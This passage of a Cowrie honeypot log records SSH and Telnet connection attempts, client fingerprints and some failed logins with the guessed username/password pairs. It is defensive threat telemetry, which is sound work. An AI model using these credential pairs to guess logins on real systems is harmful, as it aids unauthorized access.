{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:00.511071Z","src_ip":"193.46.255.86","session":"149870971922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":49510,"dst_ip":"10.17.0.5","dst_port":22,"session":"25296ea3b71f","protocol":"ssh","message":"New connection: 186.113.245.157:49510 (10.17.0.5:22) [session: 25296ea3b71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:02.653865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:02.658699Z","src_ip":"186.113.245.157","session":"25296ea3b71f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:02.747967Z","src_ip":"186.113.245.157","session":"25296ea3b71f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwerty123","message":"login attempt [ftpuser/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:03.141648Z","src_ip":"186.113.245.157","session":"25296ea3b71f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:04.235607Z","src_ip":"186.113.245.157","session":"25296ea3b71f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39014,"dst_ip":"10.17.0.5","dst_port":23,"session":"7605448e5b96","protocol":"telnet","message":"New connection: 38.54.119.93:39014 (10.17.0.5:23) [session: 7605448e5b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:13.891587Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":47778,"dst_ip":"10.17.0.5","dst_port":22,"session":"6891d9b56dce","protocol":"ssh","message":"New connection: 103.176.20.115:47778 (10.17.0.5:22) [session: 6891d9b56dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:17.898973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:17.905494Z","src_ip":"103.176.20.115","session":"6891d9b56dce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:18.153648Z","src_ip":"103.176.20.115","session":"6891d9b56dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":37502,"dst_ip":"159.203.135.109","dst_port":22,"session":"525052475fb9","protocol":"ssh","message":"New connection: 61.72.55.130:37502 (159.203.135.109:22) [session: 525052475fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:18.241406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:18.246722Z","src_ip":"61.72.55.130","session":"525052475fb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:18.449639Z","src_ip":"61.72.55.130","session":"525052475fb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.97621488571167,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:18.867700Z","src_ip":"38.54.119.93","session":"7605448e5b96","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Windows2008","message":"login attempt [root/Windows2008] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:19.175846Z","src_ip":"103.176.20.115","session":"6891d9b56dce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres#2024","message":"login attempt [postgres/postgres#2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:19.292429Z","src_ip":"61.72.55.130","session":"525052475fb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:20.427277Z","src_ip":"103.176.20.115","session":"6891d9b56dce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:20.497168Z","src_ip":"61.72.55.130","session":"525052475fb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":33776,"dst_ip":"159.203.135.109","dst_port":23,"session":"04d4023d43c3","protocol":"telnet","message":"New connection: 192.211.53.160:33776 (159.203.135.109:23) [session: 04d4023d43c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:21.946496Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":33774,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b0f479237ee","protocol":"telnet","message":"New connection: 192.211.53.160:33774 (159.203.135.109:23) [session: 7b0f479237ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:21.982461Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48674,"dst_ip":"10.17.0.5","dst_port":23,"session":"aac59d503212","protocol":"telnet","message":"New connection: 38.54.119.93:48674 (10.17.0.5:23) [session: aac59d503212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:28.786750Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":35748,"dst_ip":"159.203.135.109","dst_port":23,"session":"055717a00ecf","protocol":"telnet","message":"New connection: 192.211.53.160:35748 (159.203.135.109:23) [session: 055717a00ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:29.775193Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":58744,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eed5b80d5a4","protocol":"ssh","message":"New connection: 20.203.42.204:58744 (159.203.135.109:22) [session: 7eed5b80d5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:30.684262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:30.691839Z","src_ip":"20.203.42.204","session":"7eed5b80d5a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:30.864783Z","src_ip":"20.203.42.204","session":"7eed5b80d5a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123","message":"login attempt [user2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:31.588580Z","src_ip":"20.203.42.204","session":"7eed5b80d5a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:32.763607Z","src_ip":"20.203.42.204","session":"7eed5b80d5a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":36562,"dst_ip":"159.203.135.109","dst_port":23,"session":"f108a0422c37","protocol":"telnet","message":"New connection: 192.211.53.160:36562 (159.203.135.109:23) [session: f108a0422c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:33.041627Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52882,"dst_ip":"10.17.0.5","dst_port":23,"session":"1671d6b33291","protocol":"telnet","message":"New connection: 38.54.119.93:52882 (10.17.0.5:23) [session: 1671d6b33291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:36.354415Z"}
{"eventid":"cowrie.session.closed","duration":8.41221284866333,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:37.198849Z","src_ip":"38.54.119.93","session":"aac59d503212","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34698,"dst_ip":"10.17.0.5","dst_port":23,"session":"af2a90e60759","protocol":"telnet","message":"New connection: 38.54.119.93:34698 (10.17.0.5:23) [session: af2a90e60759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:51.828938Z"}
{"eventid":"cowrie.session.closed","duration":37.4469850063324,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:56:59.393331Z","src_ip":"192.211.53.160","session":"04d4023d43c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.49318718910217,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:02.475542Z","src_ip":"192.211.53.160","session":"7b0f479237ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45666,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5b4adfb70fe","protocol":"telnet","message":"New connection: 38.54.119.93:45666 (10.17.0.5:23) [session: a5b4adfb70fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:08.573811Z"}
{"eventid":"cowrie.session.closed","duration":40.88127422332764,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:10.656351Z","src_ip":"192.211.53.160","session":"055717a00ecf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":53062,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bbd99780b07","protocol":"ssh","message":"New connection: 152.32.162.42:53062 (10.17.0.5:22) [session: 1bbd99780b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:12.550983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:12.555555Z","src_ip":"152.32.162.42","session":"1bbd99780b07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:12.800353Z","src_ip":"152.32.162.42","session":"1bbd99780b07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.921492576599121,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:13.495176Z","src_ip":"38.54.119.93","session":"a5b4adfb70fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.68824124336243,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:13.729739Z","src_ip":"192.211.53.160","session":"f108a0422c37","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test@123","message":"login attempt [test/Test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:13.809092Z","src_ip":"152.32.162.42","session":"1bbd99780b07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:15.057662Z","src_ip":"152.32.162.42","session":"1bbd99780b07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":38470,"dst_ip":"159.203.135.109","dst_port":22,"session":"90a4db76ef53","protocol":"ssh","message":"New connection: 61.72.55.130:38470 (159.203.135.109:22) [session: 90a4db76ef53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:15.407533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:15.412715Z","src_ip":"61.72.55.130","session":"90a4db76ef53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:15.611000Z","src_ip":"61.72.55.130","session":"90a4db76ef53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"02041992Ionela","message":"login attempt [ubuntu/02041992Ionela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:16.439576Z","src_ip":"61.72.55.130","session":"90a4db76ef53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":36410,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f10df753901","protocol":"ssh","message":"New connection: 103.176.20.115:36410 (10.17.0.5:22) [session: 9f10df753901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:17.452510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:17.456939Z","src_ip":"103.176.20.115","session":"9f10df753901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:17.641206Z","src_ip":"61.72.55.130","session":"90a4db76ef53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 